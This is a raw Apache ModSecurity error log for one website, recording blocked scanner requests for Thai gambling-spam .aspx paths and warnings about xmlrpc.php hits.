[Wed Jan 28 02:12:27.167684 2026] [:error] [pid 24425:tid 24448] [client 51.83.7.81:45758] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet.aspx"] [unique_id "aXkACx_qUCA3SusVe0uRwQAAARI"]
[Wed Jan 28 02:12:31.239947 2026] [:error] [pid 41678:tid 41701] [client 51.83.7.81:45774] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXkAD6ja89ZyPVwMdig7UwAAAAg"]
[Wed Jan 28 02:12:34.467674 2026] [:error] [pid 41678:tid 41701] [client 51.83.7.81:53870] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%AD%E0%B8%B1%E0%B8%99%E0%B8%94%E0%B8%B1%E0%B8%9A%201%20%E0%B8%82%E0%B8%AD%E0%B8%87%E0%B9%82%E0%B8%A5%E0%B8%81%20%E0%B9%81%E0%B8%88%E0%B8%81%E0%B9%82%E0%B8%9A%E0%B8%99%E0%B8%B1%E0%B8%AA%20%E0%B8%94%E0%B8%B5%E0%B8%97%E0%B8%B5%E0%B9%88%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXkAEqja89ZyPVwMdig7XQAAAAg"]
[Wed Jan 28 02:12:37.524365 2026] [:error] [pid 24427:tid 24489] [client 51.83.7.81:53884] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2.aspx"] [unique_id "aXkAFU5-wqSNb5f_hOIL3gAAAYQ"]
[Wed Jan 28 02:12:40.239337 2026] [:error] [pid 24427:tid 24485] [client 51.83.7.81:53892] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXkAGE5-wqSNb5f_hOIL6gAAAYA"]
[Wed Jan 28 02:12:43.569793 2026] [:error] [pid 41678:tid 41693] [client 51.83.7.81:45500] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A888%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXkAG6ja89ZyPVwMdig7dQAAAAA"]
[Wed Jan 28 02:42:48.402095 2026] [:error] [pid 24511:tid 24521] [client 34.130.219.55:35006] [client 34.130.219.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.130.219.55, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXkHKGmoieLyDzs0ASQZUwAAAIY"]
[Wed Jan 28 03:32:18.287450 2026] [:error] [pid 41678:tid 41713] [client 51.83.11.108:48050] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%20pg.aspx"] [unique_id "aXkSwqja89ZyPVwMdihZXwAAABQ"]
[Wed Jan 28 03:32:20.419449 2026] [:error] [pid 24511:tid 24532] [client 51.83.11.108:41916] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A%20ufa191.aspx"] [unique_id "aXkSxGmoieLyDzs0ASQnNQAAAJE"]
[Wed Jan 28 03:32:22.531651 2026] [:error] [pid 24511:tid 24518] [client 51.83.11.108:41928] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9Ajoker888.aspx"] [unique_id "aXkSxmmoieLyDzs0ASQnNwAAAIM"]
[Wed Jan 28 03:32:24.872124 2026] [:error] [pid 41678:tid 41700] [client 51.83.11.108:41932] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B9%81%E0%B8%8A%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXkSyKja89ZyPVwMdihZZgAAAAc"]
[Wed Jan 28 03:32:27.448008 2026] [:error] [pid 41678:tid 41695] [client 51.83.11.108:60794] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%20%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B9%81%E0%B8%84%E0%B9%88%20%E0%B9%83%E0%B8%AA%E0%B9%88%20%E0%B9%82%E0%B8%84%E0%B9%8A%E0%B8%94%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXkSy6ja89ZyPVwMdihZagAAAAI"]
[Wed Jan 28 03:32:29.413120 2026] [:error] [pid 24425:tid 24430] [client 51.83.11.108:60802] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B8%81%E0%B8%94%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%AD%E0%B8%87%20%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C%202022.aspx"] [unique_id "aXkSzR_qUCA3SusVe0ulNQAAAQA"]
[Wed Jan 28 03:32:32.335378 2026] [:error] [pid 24425:tid 24431] [client 51.83.11.108:60804] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B8%81%E0%B8%94%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%AD%E0%B8%87%2030.aspx"] [unique_id "aXkS0B_qUCA3SusVe0ulOQAAAQE"]
[Wed Jan 28 03:32:34.943337 2026] [:error] [pid 24426:tid 24463] [client 51.83.11.108:60820] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B8%81%E0%B8%94%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%AD%E0%B8%87%E0%B8%AB%E0%B8%99%E0%B9%89%E0%B8%B2%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%202023.aspx"] [unique_id "aXkS0vbw8B_M5J5XrXQaegAAAUU"]
[Wed Jan 28 03:32:37.474674 2026] [:error] [pid 7491:tid 7517] [client 51.83.11.108:38540] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXkS1Y1dhx8rf42W1S1QFgAAANY"]
[Wed Jan 28 03:32:39.587498 2026] [:error] [pid 24511:tid 24534] [client 51.83.11.108:38552] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%20%E0%B9%84%E0%B8%A5%20%E0%B8%84%E0%B9%8C%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B9%81%E0%B8%8A%E0%B8%A3%E0%B9%8C%202020.aspx"] [unique_id "aXkS12moieLyDzs0ASQnSQAAAJM"]
[Wed Jan 28 03:32:41.831833 2026] [:error] [pid 24511:tid 24533] [client 51.83.11.108:38562] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%202020%20%E0%B9%84%E0%B8%A1%E0%B9%88%20%E0%B8%9D%E0%B8%B2%E0%B8%81%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B9%81%E0%B8%8A%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXkS2WmoieLyDzs0ASQnTAAAAJI"]
[Wed Jan 28 03:32:44.484670 2026] [:error] [pid 41678:tid 41712] [client 51.83.11.108:38566] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%202020%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81.aspx"] [unique_id "aXkS3Kja89ZyPVwMdihZjgAAABM"]
[Wed Jan 28 03:32:46.760787 2026] [:error] [pid 7491:tid 7509] [client 51.83.11.108:57406] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C.aspx"] [unique_id "aXkS3o1dhx8rf42W1S1QNQAAAM4"]
[Wed Jan 28 03:32:49.241043 2026] [:error] [pid 24426:tid 24479] [client 51.83.11.108:57412] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2%20%E0%B8%AD%E0%B8%B1%E0%B8%99%E0%B8%94%E0%B8%B1%E0%B8%9A%201.aspx"] [unique_id "aXkS4fbw8B_M5J5XrXQalAAAAVU"]
[Wed Jan 28 03:32:52.131922 2026] [:error] [pid 24426:tid 24461] [client 51.83.11.108:57420] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2.aspx"] [unique_id "aXkS5Pbw8B_M5J5XrXQamAAAAUM"]
[Wed Jan 28 03:32:54.432924 2026] [:error] [pid 7491:tid 7510] [client 51.83.11.108:57426] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%94%E0%B8%B5.aspx"] [unique_id "aXkS5o1dhx8rf42W1S1QRgAAAM8"]
[Wed Jan 28 03:32:56.370777 2026] [:error] [pid 7461:tid 7477] [client 51.83.11.108:59490] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%81%E0%B8%97%E0%B9%89.aspx"] [unique_id "aXkS6BuPuolxx74XmceOJgAAAE0"]
[Wed Jan 28 03:32:59.028484 2026] [:error] [pid 7461:tid 7482] [client 51.83.11.108:59500] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%82%E0%B8%84%E0%B9%89%E0%B8%94%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%81%E0%B8%94%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXkS6xuPuolxx74XmceOLQAAAFI"]
[Wed Jan 28 03:33:01.201846 2026] [:error] [pid 24427:tid 24490] [client 51.83.11.108:59508] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%82%E0%B8%84%E0%B9%89%E0%B8%94%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94%E0%B8%A7%E0%B8%B1%E0%B8%99%E0%B8%99%E0%B8%B5%E0%B9%89.aspx"] [unique_id "aXkS7U5-wqSNb5f_hOIfwwAAAYU"]
[Wed Jan 28 03:33:03.629312 2026] [:error] [pid 24427:tid 24504] [client 51.83.11.108:59512] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%82%E0%B8%84%E0%B9%89%E0%B8%94%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXkS705-wqSNb5f_hOIfxwAAAZM"]
[Wed Jan 28 03:33:05.675615 2026] [:error] [pid 24425:tid 24432] [client 51.83.11.108:59516] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%82%E0%B8%88%E0%B9%8A%E0%B8%81%E0%B9%80%E0%B8%81%E0%B8%AD%E0%B8%A3%E0%B9%8C%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXkS8R_qUCA3SusVe0uleAAAAQI"]
[Wed Jan 28 03:33:07.850367 2026] [:error] [pid 24425:tid 24450] [client 51.83.11.108:38006] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%82%E0%B8%88%E0%B9%8A%E0%B8%81%E0%B9%80%E0%B8%81%E0%B8%AD%E0%B8%A3%E0%B9%8C123.aspx"] [unique_id "aXkS8x_qUCA3SusVe0ulegAAARQ"]
[Wed Jan 28 03:33:10.536863 2026] [:error] [pid 24425:tid 24446] [client 51.83.11.108:38020] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%82%E0%B8%9B%E0%B8%A3%20%E0%B8%97%E0%B8%B8%E0%B8%99%E0%B8%99%E0%B9%89%E0%B8%AD%E0%B8%A2%20%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXkS9h_qUCA3SusVe0ulfgAAARA"]
[Wed Jan 28 03:33:13.526000 2026] [:error] [pid 24426:tid 24465] [client 51.83.11.108:38022] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%82%E0%B8%9B%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9D%E0%B8%B2%E0%B8%81%205%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%2050%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94%202566.aspx"] [unique_id "aXkS-fbw8B_M5J5XrXQawwAAAUc"]
[Wed Jan 28 03:40:52.445014 2026] [:error] [pid 24425:tid 24432] [client 159.203.76.93:35708] [client 159.203.76.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.203.76.93, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXkUxB_qUCA3SusVe0unGgAAAQI"]
[Wed Jan 28 04:26:53.347442 2026] [:error] [pid 17535:tid 17541] [client 85.248.226.9:57098] [client 85.248.226.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.248.226.9, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXkfja3QiSMgVscnN5Lt7wAAAMM"]
[Wed Jan 28 04:46:10.312902 2026] [:error] [pid 17535:tid 17545] [client 79.137.67.86:46740] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95betflik.aspx"] [unique_id "aXkkEq3QiSMgVscnN5L2owAAAMc"]
[Wed Jan 28 04:46:12.443269 2026] [:error] [pid 17424:tid 17442] [client 79.137.67.86:58426] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95joker123.aspx"] [unique_id "aXkkFGRvtDRvGDe-pIsqvAAAAAk"]
[Wed Jan 28 04:46:15.137522 2026] [:error] [pid 17424:tid 17444] [client 79.137.67.86:58438] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95noname%20888.aspx"] [unique_id "aXkkF2RvtDRvGDe-pIsqvgAAAAs"]
